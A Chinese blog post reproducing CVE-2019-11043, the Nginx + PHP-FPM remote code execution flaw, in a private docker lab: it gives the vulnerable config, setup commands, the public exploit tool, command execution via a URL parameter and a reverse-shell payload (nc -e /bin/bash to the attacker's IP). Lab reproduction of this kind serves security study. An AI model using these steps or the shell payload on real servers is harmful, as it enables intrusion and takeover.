PHP远程代码执行漏洞复现(CVE-2019-11043)

PHP 远程代码执行漏洞复现(CVE-2019-11043)

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {
 ...
 fastcgi_split_path_info ^(.+?\.php)(/.*)$;
 fastcgi_param PATH_INFO $fastcgi_path_info;
 fastcgi_pass   php:9000;
 ...
}

攻击者可以使用换行符(%0a)来破坏 fastcgi_split_path_info 指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本

漏洞复现

使用 p 牛的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

准备工作:安装docker、golang环境

sudo apt-get install docker docker-compose
sudo apt install golang

攻击机:kali-linux-2022.4(192.168.81.162)

靶机:kali-linux-2022.4(192.168.81.150)

  1. 在靶机上搭建漏洞环境

    git clone https://github.com/vulhub/vulhub.git
    

image-20230209153038902

cd vulhub/php/CVE-2019-11043
docker-compose up -d

image-20230209153345980

  1. 启动环境后,访问 靶机ip:8080/index.php ,就可以看到漏洞环境的默认页面。

image-20230209153914153

  1. 安装漏洞利用工具

    git clone https://github.com/neex/phuip-fpizdam.git
    cd phuip-fpizdam
    go get -v && go build
    

image-20230209163935541

  1. 漏洞利用

image-20230209164126757

  1. 访问 index.php?a=id

    注意:只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

image-20230209164220467

image-20230209164325325

反弹shell

在环境中安装 nc

image-20230209165312791

image-20230209165402235

攻击机开启监听

nc -lvp 9999

image-20230209165724032

输入payload

?a=nc -e /bin/bash 192.168.81.162 9999

反弹shell成功

image-20230209165817739

参考链接

http://blog.leanote.com/post/snowming/9da184ef24bd

posted @ 2025-08-26 14:47  Mr-Ryan  阅读(48)  评论(0)    收藏  举报